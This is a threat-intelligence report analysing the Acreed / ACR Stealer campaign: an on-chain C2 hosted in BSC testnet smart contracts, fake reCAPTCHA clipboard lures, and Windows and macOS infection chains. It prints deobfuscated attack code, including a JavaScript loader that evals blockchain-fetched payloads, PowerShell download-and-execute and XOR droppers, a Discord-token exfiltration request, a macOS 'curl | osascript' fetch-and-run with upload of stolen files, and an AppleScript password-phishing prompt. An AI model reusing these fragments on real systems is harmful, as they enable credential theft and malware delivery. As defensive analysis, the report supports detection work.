Skip to content
Go back

Acreed: On-Chain C2 Evolution

Table of contents

1 Executive Summary

This report details a recent, sophisticated, cross-platform malware campaign attributed to the threat actor behind the Acreed infostealer. The campaign demonstrates a significant evolution in the actor’s tactics, combining a novel, resilient Command and Control (C2) architecture with distinct, feature-rich infection chains for both Windows and macOS.

Key findings include:

2 Introduction: Smart Contracts on EVM-Compatible Chains

This document presents a case study observed by our CSIRT, detailing the malicious use of smart contracts by a threat actor. To provide the necessary context for this deep-dive analysis, this introductory section offers a brief technical recap of how blockchain technology and smart contracts on Ethereum Virtual Machine (EVM) compatible chains, such as the Binance Smart Chain (BSC), function.

2.1 The Blockchain Structure: Blocks and State

At its core, a blockchain is a distributed, immutable ledger. The fundamental unit of this ledger is a block, which is a data structure containing a collection of transactions. Each block is cryptographically linked to its predecessor, forming a chronological and unbroken “chain.” This linkage is achieved by including the hash of the parent block within the new block’s header.

The state of the blockchain is a snapshot of all account balances and smart contract data at a given point in time. Each new block of transactions updates this state. Because each block is validated and linked by a network of decentralized nodes, altering past transactions is computationally infeasible, guaranteeing the ledger’s integrity.

2.2 Accounts: EOAs and Contracts

The EVM distinguishes between two primary types of accounts, both identified by a unique address:

  1. Externally Owned Accounts (EOAs): These are the accounts controlled by users via private keys. An EOA can initiate transactions to transfer the native currency (e.g., ETH, BNB) or to interact with smart contracts. They are “external” because their actions are initiated from outside the blockchain network itself.

  2. Contract Accounts: These accounts are controlled by the code they contain—a smart contract. Unlike EOAs, they do not have a private key. A smart contract’s code executes automatically when it receives a transaction from an EOA or another contract. This code can read and write to its own persistent storage, read the state of other contracts, and send transactions to other accounts.

2.3 The Ethereum Virtual Machine (EVM)

The EVM is the sandboxed runtime environment where all smart contract code is executed. It is a quasi-Turing-complete state machine, meaning it can compute anything, given enough resources. The “fuel” for these computations is gas, a unit that measures the computational cost of an operation.

When a transaction triggers a smart contract’s function, every node on the network executes the same code within its EVM instance. This deterministic execution ensures that all nodes reach the same resulting state, maintaining consensus across the network. The gas mechanism prevents infinite loops and allocates resources fairly, as the transaction initiator must pay for the computational work performed.

2.4 Transactions: The Engine of Interaction

A transaction is a cryptographically signed instruction from an EOA. When directed at a smart contract, a transaction typically contains three key components:

When a node receives this transaction, it passes the data payload to the EVM, which then executes the corresponding function in the target contract. This execution can alter the contract’s internal storage, effectively writing data to the blockchain.

2.5 RPC Endpoints: The Gateway to the Blockchain

Direct interaction with the blockchain nodes is complex. Remote Procedure Call (RPC) endpoints serve as a standardized interface for this communication. They are URLs provided by node operators (e.g., Infura, Ankr, or private nodes) that expose the JSON-RPC API.

Users and applications can send requests to these endpoints to:

Crucially, anyone with access to an RPC endpoint for a public network can freely read any data stored on-chain, as long as they know the smart contract’s address and how to query it. “Knowing how to query” requires understanding the contract’s Application Binary Interface (ABI). Function names and argument types are not stored on-chain in a human-readable format. Instead, a function is called using a unique selector derived from the hash of its signature. If the contract’s source code is not publicly verified on a block explorer, an analyst must reverse-engineer the EVM bytecode to deduce these function signatures and learn how to interact with the contract.

2.6 Testnets and Faucets: A Zero-Cost Environment

Blockchains like Ethereum and BSC operate parallel networks known as testnets. These are functionally identical to the main network (“mainnet”) but are used exclusively for development and testing. The native currency on a testnet (e.g., Sepolia ETH, BSC Testnet BNB) has no real-world monetary value.

This currency can be obtained for free from services called faucets, which are websites that distribute small amounts of testnet coins to any user who requests them. This makes testnets highly attractive for attackers. Since all transactions, including contract deployment and state changes, require gas, a testnet provides a perfect, zero-cost operational environment. Attackers can acquire all the necessary gas from a faucet and run their entire infrastructure without any financial outlay.

3 Abusing Smart Contracts on Compromised Websites

The architecture of public blockchains, while designed for transparency and decentralization, presents unique opportunities for attackers. When a website is compromised, attackers can leverage smart contracts as a covert and resilient backend for their operations.

3.1 Covert Data Storage and Detection Evasion

Traditional security tools scan a website’s file system and databases for malicious code, signatures, and suspicious configuration files (e.g., C2 server URLs, encryption keys). By storing this information within a smart contract on a public blockchain—a technique known as EtherHiding—attackers can evade such detection mechanisms.

3.2 A Resilient and Updatable C2 Mechanism

A Command and Control (C2) server is a critical point of failure for attackers. If it’s taken down, the malware can no longer be updated. A smart contract provides a decentralized and censorship-resistant alternative.

3.3 Data Exfiltration

While less common due to transaction costs, smart contracts can also be used for data exfiltration. Information stolen from a website visitor (e.g., form data) can be encoded and submitted as input to a smart contract function. The data is then permanently recorded on the blockchain, retrievable at any time by the attacker. Using a testnet, where the native currency is free, makes this a cost-effective channel.

4 Deep Dive: Infection Chain & C2

4.1 Introduction and Summary

This analysis details a multi-stage, cross-platform malware campaign attributed to the threat actor behind the Acreed infostealer, as previously documented by Intrinsec. Our investigation examines the most recent campaign that, while utilizing the same core malware, employs a more intricate delivery mechanism and post-exploitation framework than previously documented. This report builds upon the findings of the September 2025 Intrinsec report [1], “Analysis of Acreed, a rising infostealer,” by providing a complete, end-to-end analysis of the most recent infection chain and identifying payloads and techniques not covered in the prior research.

Key findings that expand upon the existing public knowledge of this threat actor include:

4.2 Initial Infection Vector

The infection chain originates from compromised websites. The site www[.]samuelorige[.]com[.]br is one such example observed during our investigation. The threat actor primarily targets WordPress sites, injecting a malicious script tag near the beginning of the site’s main HTML document. The script uses a data: URI with base64 encoded JavaScript to start the infection chain.

These compromised sites can be identified by searching for WordPress installations that initiate unusual connections to public Binance Smart Chain (BSC) testnet RPC endpoints upon loading.

<script
  src="data:text/javascript;base64,ZnVuY3Rpb24gXzB4NWU0MChfMHg0Y...">
</script>

4.3 Stage 1: The Loader

After deobfuscation, the initial script reveals a loader function that queries the Binance Smart Chain (BSC) testnet.

4.3.1 Loader Functionality

The core of this stage is the load_ function. Its purpose is to fetch the next stage payload, which is stored on-chain in a smart contract.

  1. Blockchain Query: It performs an eth_call JSON-RPC request to a public BSC testnet node. The call targets the smart contract at address 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e. The data field 0x6d4ce63c is a function selector that corresponds to a function for retrieving the stored string data.

  2. Data Parsing: The smart contract returns a hex-encoded string. The script parses this string to extract the actual payload. The first 32 bytes represent the offset, the next block of bytes represents the payload length, and the final block is the base64-encoded payload itself.

  3. Execution: The extracted base64 string is decoded using atob() and then executed via eval(). This dynamic execution allows the attacker to easily update the next stage without having to modify the script on the compromised website.

async function load_(_0x3f5669) {
  // ... helper function to convert Uint8Array to hex string ...

  const _0x3d496e = {
      method: 'eth_call',
      params: [
        {
          to: _0x3f5669, // The smart contract address
          data: '0x6d4ce63c', // Function selector to get data
        },
        'latest',
      ],
      id: 97,
      jsonrpc: '2.0',
    },
    _0x518fe1 = {
      method: 'POST',
      headers: { /* ... */ },
      body: JSON.stringify(_0x3d496e),
    },
    _0x32b6dc = 'https://bsc-testnet[.]bnbchain[.]org/',
    _0xe50fb1 = await fetch(_0x32b6dc, _0x518fe1)

  // ... code to parse the result from the fetch request ...

  // The result is a long hex string, which is parsed here
  const _0x11af20 = (await _0xe50fb1.json()).result.slice(2),
    _0x2e7d22 = new Uint8Array( /* ... parsing logic ... */ ),
    _0x34326a = Number(/* ... get offset ... */),
    _0x7b245b = Number(/* ... get length ... */),
    _0x3e9110 = String.fromCharCode.apply(
      null,
      _0x2e7d22.slice(32 + _0x34326a, 32 + _0x34326a + _0x7b245b)
    )
  return _0x3e9110 // This is the base64-encoded payload
}

load_('0xA1decFB75C8C0CA28C10517ce56B710baf727d2e')
  .then((_0x1538ec) => eval(atob(_0x1538ec)))
  .catch(() => {})

4.4 Stage 2: OS Detection and Payload Differentiation

The payload retrieved and executed from the first smart contract is a second-stage loader. Its primary function is to detect the user’s operating system and fetch a platform-specific final payload.

Detection is performed by checking navigator.userAgent, navigator.platform, and navigator.userAgentData. Based on the result, it calls the same load_ function again, but with a different smart contract address for Windows and macOS victims.

// ... previously defined load_ function ...

const isWindows = navigator.userAgent.includes("Windows") ||
                  navigator.platform.startsWith("Win") ||
                  navigator.userAgentData?.platform === "Windows";
const isMac = navigator.userAgent.includes("Macintosh") ||
              navigator.platform.startsWith("Mac") ||
              navigator.userAgentData?.platform === "macOS";

if (isWindows) {
  load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff");
} else if (isMac) {
  load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5");
}

4.5 Stage 3: Social Engineering and Final Payload

The final payloads for both Windows and macOS are nearly identical in their social engineering approach. They both display a fake reCAPTCHA element to trick the user into executing a malicious command.

4.5.1 Common Functionality: The Fake reCAPTCHA

The script dynamically creates a convincing, but fake, “I’m not a robot” reCAPTCHA box.

  1. UI Creation: It injects HTML and CSS to create the CAPTCHA element and an instruction window, which is initially hidden. The entire page is blurred and overlaid to focus the user’s attention.

  2. User Interaction: When the user clicks the checkbox, an animation is triggered. The checkbox transforms into a loading spinner.

  3. Instruction Popup: After a short delay, a new window appears next to the CAPTCHA, instructing the user to perform a series of actions to “verify” they are not a robot.

  4. Clipboard Hijacking: Crucially, while this UI is displayed, the script silently copies a malicious command into the user’s clipboard using document.execCommand('copy').

4.5.2 Windows Payload

For Windows users, the instructions are designed to have them execute the clipboard content via the “Run” dialog.

The script obfuscates the C2 domain using base64 and a custom string manipulation function. The variable dmn holds the encoded domain, which is regularly updated by the attacker via new transactions to the smart contract.

// Part of the Windows payload's inner script
let dmn = 'M24vLzpzcHR0aC5rMGE5cC5wN3EvdXIuY2hlY2s='; // atob -> 3n//:sptth.k0a9p.p7q/ur.check
// ...
commandToRun =
  'mshta ' +
  ((_0x1ab8b3) =>
    _0x1ab8b3
      .split('.')
      .map((_0x414669, _0x2a488d) =>
        _0x2a488d === _0x1ab8b3.split('.').length - 1
          ? _0x414669 // keep last part
          : _0x414669.split('').reverse().join('') // reverse other parts
      )
      .join('.'))(atob(dmn)) + // decodes and reverses to form the URL
  '?t=' +
  usr_id;

4.5.3 macOS Payload

For macOS users, the social engineering is the same, but the command is tailored for a Unix-like environment.

4.6 Use of Blockchain for C2 and Victim Tracking

A novel aspect of this malware is its use of public blockchain infrastructure for command-and-control (C2) and victim tracking. This makes the C2 infrastructure highly resilient and difficult to disrupt.

4.6.1 Payload Storage and Rotation

As demonstrated in Stages 1 and 2, the actual malicious payloads are not on the compromised server. Instead, they are stored as strings within smart contracts on the BSC testnet. The attacker can update the payload (specifically, the C2 domain in the dmn variable) by simply sending a transaction to the smart contract to update its state. Transactional analysis shows that the C2 domains are updated approximately every 10 minutes, ensuring high operational resilience. The script provided in the appendix (see Section 5.3) can be used to retrieve all historical C2 domains from these transactions via the Etherscan API. The high number of transactions on these contracts confirms this is an active and evolving campaign.

4.6.2 Victim Tracking

The final payloads include an isGoalReached(usr_id) function. This function does not communicate with a traditional web server but instead queries a separate smart contract at 0xf4a3...832A.

The decompiled code for this contract reveals a simple key-value store. It uses a mapping to store user IDs.

pragma solidity ^0.8.12;

/**
 * @title UUIDManager (Reconstructed)
 * @notice This contract acts as a simple on-chain database or set to track the
 * existence of unique identifiers (referred to as UUIDs in the error messages).
 * It allows for adding, removing, and checking the existence of byte strings.
 *
 * This contract was reconstructed from low-level decompiled bytecode. The original
 * function names were inferred from common function selectors and the contract's logic.
 */
contract UUIDManager {

    // A mapping to store whether a given UUID (represented by its hash) exists.
    // Using the hash of the bytes data saves gas and handles dynamic data sizes.
    mapping(bytes32 => bool) private uuidExists;

    /**
     * @notice Adds a new UUID to the tracking set.
     * @dev Reverts if the UUID already exists to ensure uniqueness.
     * @param _uuid The unique identifier to add.
     */
    function add(bytes memory _uuid) public {
        bytes32 uuidHash = keccak256(_uuid);
        require(!uuidExists[uuidHash], "UUID already exists");
        uuidExists[uuidHash] = true;
    }

    /**
     * @notice Removes a UUID from the tracking set.
     * @dev Reverts if the UUID does not exist.
     * @param _uuid The unique identifier to remove.
     */
    function remove(bytes memory _uuid) public {
        bytes32 uuidHash = keccak256(_uuid);
        require(uuidExists[uuidHash], "UUID not found");
        uuidExists[uuidHash] = false;
    }

    /**
     * @notice Checks if a UUID exists in the set.
     * @param _uuid The unique identifier to check.
     * @return A string, "yes" if it exists, "no" otherwise.
     */
    function check(bytes memory _uuid) public view returns (string memory) {
        bytes32 uuidHash = keccak256(_uuid);
        if (uuidExists[uuidHash]) {
            return "yes";
        } else {
            return "no";
        }
    }
}

The malware uses this contract to track victims. Before displaying the fake reCAPTCHA, it calls isGoalReached (which in turn calls the check function on the contract). If the function returns true (meaning the user’s ID is already in the contract), the fake CAPTCHA is not shown. This is a mechanism to prevent re-infecting a user or showing the lure to someone who has already completed the steps. We have confirmed that a victim’s ID is added to the smart contract via the add function as soon as the C2 server successfully serves the final payload for their platform (e.g., the .hta file for Windows). If the download is blocked (e.g., due to an incorrect User-Agent), the ID is not added. This indicates that the transaction count on the victim tracking contract serves as a reliable proxy for the number of successfully delivered infections.

// isGoalReached function from the final payload
async function isGoalReached(e) { // 'e' is the usr_id
  // ... constructs an eth_call payload ...

  // The 'data' payload is constructed with the function selector 0x24513bb6
  // and the user's ID to check if they are already tracked.
  (start =
      "0x24513bb6000..."),

  // It calls the tracking smart contract
  (address = "0xf4a32588b50a59a82fbA148d436081A48d80832A"),

  // ... sends the request and parses the response ...

  // returns true if the contract returns "yes"
  return "yes" == (value = String.fromCharCode.apply(
      null,
      unhexed.slice(32 + offset, 32 + offset + len)
    ))
}

4.7 Post-Exploitation: Stage 4: Windows Infection Chain

The command executed via mshta.exe initiates the final, multi-stage delivery of the ultimate payload. This phase is executed entirely on the victim’s machine and involves multiple layers of VBScript and PowerShell deobfuscation, culminating in the execution of an information stealer.

4.7.1 HTA Execution and VBScript Loader (Stage 4.1)

The URL invoked by mshta.exe serves an HTML Application (.hta) file. This file contains minimal HTML and a large, obfuscated VBScript payload.

Function CoesEn(ByVal vCode)
  Dim TloaIaieHr, SrlbIaptLratNribr
  '// Strings are obfuscated via a hex-to-char function
  Set TloaIaieHr = CreateObject("Msxml2.DOMDocument.3.0")
  Set SrlbIaptLratNribr = TloaIaieHr.CreateElement("base64")
  SrlbIaptLratNribr.DataType = "bin.base64"
  SrlbIaptLratNribr.Text = vCode
  CoesEn = EunaRucySem(SrlbIaptLratNribr.nodeTypedValue)
  '// EunaRucySem converts the binary data to a usable string
  '// via an ADODB.Recordset object.
  Set SrlbIaptLratNribr = Nothing
  Set TloaIaieHr = Nothing
End Function

After a brief delay loop for sandbox evasion, the decoded VBScript is executed using ExecuteGlobal.

4.7.2 Persistence and PowerShell Loader (Stage 4.2)

The second-layer VBScript payload establishes persistence and executes the next stage. Persistence is achieved by creating a Scheduled Task using the Schedule.Service COM object, as shown in the UebmLgob_unmTut subroutine:

Sub UebmLgob_unmTut(ApgnMtscAiaiLsit)
  '// ... (COM object creation) ...
  Set TmimOtdcIon = CreateObject("Schedule.Service")
  Call TmimOtdcIon.Connect
  Set BieiKupnHerio = TmimOtdcIon.GetFolder("\")
  Set RafaRmi = TmimOtdcIon.NewTask(0)
  '// ... (Task configuration) ...

  '// Create a trigger to run the task once, 1 second from now.
  Set IrhsOcriNrptGacas = RafaRmi.triggers
  Set UcbaLislCigrUdns = IrhsOcriNrptGacas.Create(1) ' 1 = Time-based trigger
  UcbaLislCigrUdns.StartBoundary = TihsEio(DateAdd("s", 1, Now))

  '// Set the action to run the decoded command.
  Set NdtiEistUb = RafaRmi.Actions.Create(0) ' 0 = Execute action
  NdtiEistUb.Path = Split(ApgnMtscAiaiLsit, " ")(0)
  NdtiEistUb.Arguments = IcegScoe(ApgnMtscAiaiLsit)

  '// Register the task.
  Call BieiKupnHerio.RegisterTaskDefinition("serviceenj", RafaRmi, 6, , , 3)
End Sub

The action for the task is a Base64-encoded PowerShell command, which is decoded and executed by the Task Scheduler Engine (taskeng.exe), decoupling it from the initial mshta.exe process tree.

4.7.3 Multi-Layered PowerShell Execution (Stage 4.3)

The command executed by the scheduled task is a PowerShell script that uses the -EncodedCommand (-EN) parameter. This is the first of several nested PowerShell stages. The decoded script uses an array of Base64 strings which are joined and then executed in memory:

# Stage 4.3.1 - The decoded command
$fuiryc=@('JGNmYjEgPSAtam9pbigoNjUuL...', 'gfCAle1tjaGFyXSRffSk7JHB...');

# Join array, decode Base64, convert to string
$lteokxbfmnj = -join $fuiryc;
$huxktsliq = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($lteokxbfmnj));

# Execute the resulting script in memory
$ExecutionContext.InvokeCommand.InvokeScript($huxktsliq)

This multi-layer wrapping is designed to evade static analysis and signature-based detection.

4.7.4 DGA-Based Downloader (Stage 4.4)

The script from the previous stage is a downloader that fetches the next payload from a C2 server using a dynamically generated URL. The downloader generates a random subdomain and constructs a full command line to be executed in a new, hidden PowerShell process:

# Generate a random 4-character subdomain string
$cfb1 = -join((65..90) + (97..122) | Get-Random -Count 4 | %{[char]$_});

# Construct the command to download and execute payload from the DGA URL
$psi.Arguments = "-nOpRoFiLe ... -cOmMaNd `"SV b ([Net.WebClient]::New());`
`Set-Item Variable:/A6 'https://$cfb1.ba5eq.ru/effc16a562b273f0bb5c3e1e41a06a77';`
`.(Get-Command In*ssi*) ...`"";

# Start a new hidden PowerShell process to run the command
[System.Diagnostics.Process]::Start($psi);

This use of a Domain Generation Algorithm (DGA) makes blocking the C2 via domain name more difficult. The script also uses reflection to find and invoke the DownloadString method, avoiding direct use of the command name to evade detection.

4.7.5 Final PowerShell Dropper and XOR Decoder (Stage 4.5)

The downloaded file is a large ( 8MB) PowerShell script, padded with junk code to hinder analysis. Its sole purpose is to decode and execute the final payload. This is accomplished via an XOR decoding process.

The obfuscated execution logic is heavily reliant on variables defined earlier in the large script:

# Obfuscated execution logic
$KMzSiPAO = ($KPbtmVUA -as [Type])::$lzyMhoPFLHYTKX.$UEZdPpOsRIQGr("$estrif");
$UjLKzPaeBuiqc = ($KPbtmVUA -as [Type])::$lzyMhoPFLHYTKX.$UEZdPpOsRIQGr(...);

(($HBThrNM -as [Type])::($xuaSYMndFleb)((($KPbtmVUA ... $(for(...) ...))))).($PQLqkVxIH)()

By resolving the variables, the script’s function becomes clear. It defines the payload and the XOR key, decodes the payload, and executes it.

# Deobfuscated logic with resolved variable values
# 1. Define the XOR key
$KMzSiPAO = [System.Text.Encoding]::UTF8.GetBytes("AMSI_RESULT_NOT_DETECTED");

# 2. Get the encoded payload from the large $jsdelivr variable
$UjLKzPaeBuiqc = [System.Text.Encoding]::UTF8.GetBytes(
  [System.Text.Encoding]::UTF8.GetString(
    [System.Convert]::FromBase64String(
      [System.Text.Encoding]::UTF8.GetString($jsdelivr)
    )
  )
);

# 3. Perform rolling XOR decode and create a script block
$decodedScriptBlock = [ScriptBlock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    $(
      # Rolling XOR loop
      for($5f=0; $5f -lt $UjLKzPaeBuiqc.length;){
        for($4d=0; $4d -lt $KMzSiPAO.length; $4d++){
          $UjLKzPaeBuiqc[$5f] = $UjLKzPaeBuiqc[$5f] -bxor $KMzSiPAO[$4d];
          $5f++;
          if($5f -ge $UjLKzPaeBuiqc.length){ $4d = $KMzSiPAO.length }
        }
      }
      # The result of this loop is the decoded byte array
      $UjLKzPaeBuiqc
    )
  )
);

# 4. Invoke the script block to execute the .NET loader in memory
$decodedScriptBlock.Invoke()

4.7.6 PureCrypter Loader and ACR Stealer (Final Payload)

The .NET executable (f75bc578269b2286c78a711a0cc932ba6b57e1e2642b883847400c44c8bb57f5) revealed by the XOR decoding is not the final payload, but a loader. Static analysis of this MSIL executable with tools, including Malcat [4], identified it as PureCrypter [2], a known malware loader used to pack and obfuscate malware.

To retrieve the ultimate payload, the PureCrypter loader was executed in a controlled sandbox environment. During its execution, the loader unpacked and injected a second-stage payload into memory. This final payload was successfully dumped from the sandboxed process for analysis.

Subsequent analysis of the dumped binary, using both Malcat [4] and manual inspection, confirmed its identity as ACR Stealer, an information-stealing malware as shown in Figure 1.

Figure 1: Malcat report for the ACR stealer.

Static analysis of the final ACR Stealer payload reveals the hardcoded domain aether100pronotification.table.core.windows.net. However, this is a deliberate deception technique designed to mislead security analysts and automated sandboxes. This domain is associated with the legitimate security vendor WatchGuard, and its presence is intended to make C2 traffic appear benign. As shown in Figure 2, automated sandbox reports can be easily misled, attributing the malware’s network activity to a legitimate service. This masquerading TTP has been previously reported in connection with Acreed by AhnLab [5].

Figure 2: A sandbox report incorrectly attributing the malware’s C2 communication to the legitimate WatchGuard domain.

The true C2 domain is stored within the binary as an obfuscated string, which is deobfuscated at runtime via a simple XOR cipher. The following section details the full C2 communication protocol, which begins after this real domain is resolved.

4.7.7 ACR Stealer C2 Protocol and Tasking Analysis

Upon execution, the ACR Stealer uses its embedded configuration parameters—the C2 server, GUID, and encryption keys—to initiate a secondary, more granular C2 communication. This protocol is responsible for retrieving the final set of operational tasks. A Python script capable of replicating this entire communication flow and decoding the final configuration is available in the appendix (see Section 5.1).

4.7.7.1 C2 Communication Protocol

The stealer’s C2 protocol is a multi-step handshake designed for resilience and evasion. All data exchanged is protected by multiple layers of encryption (AES-256-CBC) and obfuscation (Base64, XOR). Decompilation of the malware binary reveals that the initial handshake retrieves not just a single endpoint, but a full map of dynamic paths for different C2 functions, including configuration, data exfiltration, and error reporting.

  1. Endpoint Discovery: The malware first sends a POST request containing an encrypted {"Command": "GetEndpoints"} payload to the C2 server’s root directory. The server responds with an encrypted JSON object. Once decrypted, this object contains a map where each key corresponds to a specific malware function, and the value is the dynamic URL path for that function. This ensures that all C2 endpoints are non-static and harder to block.

    The following table, derived from decompiled code analysis, maps the JSON keys to their respective functions:

    Key Purpose
    c Configuration: The endpoint for retrieving the main tasking JSON config.
    p Profile: The endpoint for exfiltrating the initial system profile/reconnaissance data.
    b Browser: The endpoint for exfiltrating stolen data from browsers.
    w, m, o, g Data Exfiltration: Endpoints for exfiltrating stolen data from Wallets, Messaging clients, Other software, and the general file Grabber, respectively.
    f File: The primary endpoint used for exfiltrating zipped archives of stolen files.
    err Error: The endpoint for reporting runtime errors back to the C2 server for telemetry.
    a, t Purpose unconfirmed in this sample, but are parsed and stored by the malware.
  2. Configuration Retrieval: Using the path retrieved for the "c" key, the malware sends a second POST request. The body contains an encrypted JSON object with the malware’s hardcoded campaign ID: {"Id": "08de0189-4e5e-477f-8700-1cd264a45266"}. The server’s response, once fully decrypted, is the final JSON configuration file.

  3. Data Exfiltration and Reporting: After performing its data theft tasks, the malware exfiltrates the collected information. It sends separate POST requests for each category of stolen data to the corresponding dynamic endpoint retrieved in step 1 (e.g., browser data to path b, system profile to path p). This categorized approach allows the C2 server to easily sort and process incoming victim data.

4.7.7.2 Configuration Format and Capabilities

The decrypted JSON object is a comprehensive instruction set that dictates the malware’s data theft and payload execution behavior. This report provides the first public documentation of this configuration format; a complete reference table detailing every key is available in the appendix (see Section 5.2).

The configuration reveals a highly modular design, with tasks organized by top-level keys:

4.7.8 ACR Stealer Secondary Payloads

The configuration retrieved from the C2 server instructs the ACR Stealer to download and execute three additional payloads using its in-memory loader module ("tr": 2). These tasks reveal the actor’s intent to deploy a wider range of malware, turning a compromised machine into a multi-purpose asset for token theft and inclusion in a botnet.

4.7.8.1 Amadey Botnet Deployment

The first payload, blender.bin, is configured for in-memory execution via process hollowing ("tf": 5). The file is a shellcode that uses at least two loader stages before deploying its final payload.

Analysis of the final payload identifies it as the Amadey bot, a commodity malware known for its ability to perform system reconnaissance, steal information, and load further modules. The deployment of Amadey signifies a shift from initial data theft to establishing long-term control over the infected host, allowing it to be integrated into a botnet for future tasking. The following configuration was extracted from the unpacked sample:

Configuration Key Value
Botnet ID 827ad8
Version 5.64
C2 Server http://mi.limpingbronco.com
C2 Path /kaWt2QXfpPueNM/index.php
Install Directory 13e64f3440
Install Filename Vgkbbtrtj.exe
RC4 key cce2d7028ce9989f6441655c223a8757
4.7.8.2 Go-based Discord Token Stealer

The second payload, discord.bin, is also a shellcode executed via process hollowing. Its final payload is a stealer written in the Go programming language, specifically designed to steal Discord authentication tokens. The malware follows a clear, multi-step process to locate and decrypt these tokens.

  1. Target Discovery: The stealer first identifies potential target directories by constructing paths to common Discord client installations within the user’s %APPDATA% folder. Its targets include the standard discord client, as well as discordcanary, Lightcord, and discordptb.

    // Decompiled Go code constructing Discord paths
    v77 = fmt_Sprintf((int)"%s\\discord", 10, (int)v74, 1, 1);
    v76 = fmt_Sprintf((int)"%s\\discordcanary", 16, (int)v73, 1, 1);
    v75 = fmt_Sprintf((int)"%s\\Lightcord", 12, (int)v72, 1, 1);
    fmt_Sprintf((int)"%s\\discordptb", 13, (int)&v70, 1, 1);
  2. Master Key Retrieval and Decryption: To decrypt the stored tokens, the stealer must first acquire a master key. It reads the Local State file from the Discord directory, which contains a JSON object. From this object, it extracts the Base64-encoded master key stored under os_crypt.encrypted_key. This key is itself encrypted using the Windows Data Protection API (DPAPI). The stealer decrypts it by invoking its internal main_decryptDPAPI function, a wrapper for the CryptUnprotectData WinAPI call, which it accesses by dynamically loading crypt32.dll.

  3. Token Hunting and Decryption: With the decrypted master key, the stealer scans the Local Storage\leveldb subdirectory for .log and .ldb files. It uses a regular expression to find patterns matching Discord tokens within these files. Each discovered token is then decrypted using AES-GCM with the master key obtained in the previous step.

  4. Data Exfiltration: All successfully decrypted tokens are concatenated into a single string. This string is then sent in an HTTP POST request to the hardcoded C2 endpoint hxxps://hepahyy1[.]top/dst[.]php, completing the exfiltration process.

    // Decompiled Go code showing the exfiltration request
    v44 = net_http__ptr_Client_Post(
            off_9B2C60,
            (int)"hxxps://hepahyy1[.]top/dst[.]php", // C2 URL
            28,
            (int)"application/x-www-form-urlencoded", // Content-Type
            ...

A YARA rule to detect this malware is provided in the appendix (see Section 7.1).

4.7.8.3 Flawed PowerShell Loader

The third payload is a PowerShell script configured for in-memory execution via IEX(DownloadString) ("tf": 4). Although the script is non-functional due to syntax errors, its structure is nearly identical to the PowerShell dropper from Stage 4.5 and it uses the same XOR key (AMSI_RESULT_NOT_DETECTED). This allows for manual deconstruction of its intended logic. The script was designed to function as a sophisticated loader with two primary stages.

  1. AMSI Bypass: The script’s first action is to neutralize the Anti-Malware Scan Interface. It does this by scanning the memory of its own process for the loaded clr.dll module. Once found, it searches for the function signature of AmsiScanBuffer and overwrites it with null bytes, effectively patching the function to prevent it from scanning subsequent malicious code.

  2. High-Value Target Profiling: After disabling AMSI, the script profiles the system to determine if it is a valuable target. It checks for two conditions:

    • It verifies if the machine is joined to a corporate domain using (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain.
    • It searches the filesystem and registry for indicators of over 20 different cryptocurrency wallet applications, including Ledger Live, Trezor Suite, BitBox, and BCVault.

    If the machine is not on a domain or has at least one cryptocurrency wallet installed, it is considered a high-value target, and the script proceeds to the final stage.

  3. Final Payload Delivery: For valuable targets, the script downloads a final payload from hxxps://congenialespresso[.]top/t7pn2gM7PbuVTY/qWzG5YZweQmNkV[.]jpg. It then unpacks and executes this payload, which also establishes persistence via a Scheduled Task or a Run key. Public threat intelligence directly associates the congenialespresso.top domain with previous Acreed campaigns. It can be theorized that this flawed script was intended to deploy another instance of the Acreed stealer, but was misconfigured by the operator.

4.8 Stage 4, Post-Exploitation: macOS Infection Chain

For macOS users, the social engineering tactic is the same, but the command copied to the clipboard is tailored for a Unix-like environment and initiates a distinct, multi-stage infection chain.

While the Windows payload involves a complex chain of VBScript and PowerShell, the macOS payload uses a more direct approach involving a native binary downloader and a comprehensive AppleScript-based information stealer.

4.8.1 Stage 4.1 (macOS): Native Dropper Execution

The App.bin binary executed by the user is a native Mach-O executable that serves as a downloader and launcher for the main AppleScript payload. Analysis of its decompiled code reveals its core functions:

The C2 communication and exfiltration logic is clearly visible in the decompiled binary.

// ... fork() and setsid() calls to daemonize ...
strcpy(killall_Terminal, "killall Terminal");
system(killall_Terminal);

// Construct and execute the command to fetch the AppleScript payload.
snprintf(
  __str,
  0x800u,
  "curl -k -s -H \"api-key: %s\" https://%s/dynamic?txd=%s | osascript",
  "5190ef1733183a0dc63fb623357f56d6",
  "goalbus.space",
  "6144b59e8aa5227d...");
system(__str); // Execute AppleScript downloader

// After the AppleScript runs, exfiltrate the results.
snprintf(
  __str,
  0x800u,
  "curl -k -X POST ... -F \"file=@/tmp/osalogging.zip\" ... https://%s/gate",
  "goalbus.space", ...);
system(__str);

4.8.2 Stage 4.2 (macOS): The AppleScript Information Stealer (Mac.c)

The executed AppleScript is a sophisticated information stealer. While it writes the string “MacSync Stealer” to a log file, this appears to be a new or internal name, as the payload is a clear variant of the known Mac.c stealer family [3].

writeText("MacSync Stealer\n\n", writemind & "info")

The attribution to the Mac.c family is based on several key pieces of evidence:

This specific attribution is a key outcome of our manual analysis. Public threat intelligence platforms either provide only generic detections for this payload (e.g., OSX/Generic.Stealer) or misidentify it entirely, with some systems flagging it as the unrelated “Atomic Stealer.” Our analysis provides the definitive identification, linking this recent campaign to a known and active macOS threat.

YARA rules to detect both the native Mach-O dropper and the AppleScript stealer payload are provided in the appendix (see Section 7.2).

The stealer proceeds to perform a wide range of data collection activities, preparing the stolen information for exfiltration.

4.8.2.1 Password Phishing

The script’s first action is to obtain the user’s login password via social engineering in the getpwd function. It displays a fake “System Preferences” dialog (shown in Figure 3), claiming that “You should update the settings to launch the application.” It repeatedly prompts the user for their password in a hidden text field until a valid one is entered, which it verifies using dscl. The stolen password is then saved to a file for exfiltration.

repeat
    set result to display dialog "You should update the settings to launch the application." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
    set password_entered to text returned of result
    if checkvalid(username, password_entered) then
        writeText(password_entered, writemind & "Password")
        return password_entered
    end if
end repeat
Figure 3: Fake “System Preferences” password prompt used to phish the user’s login credentials.
4.8.2.2 Data Collection

The script targets a vast array of sensitive user data, staging it all in a temporary directory (/tmp/<random_number>/):

4.8.2.3 Data Packaging

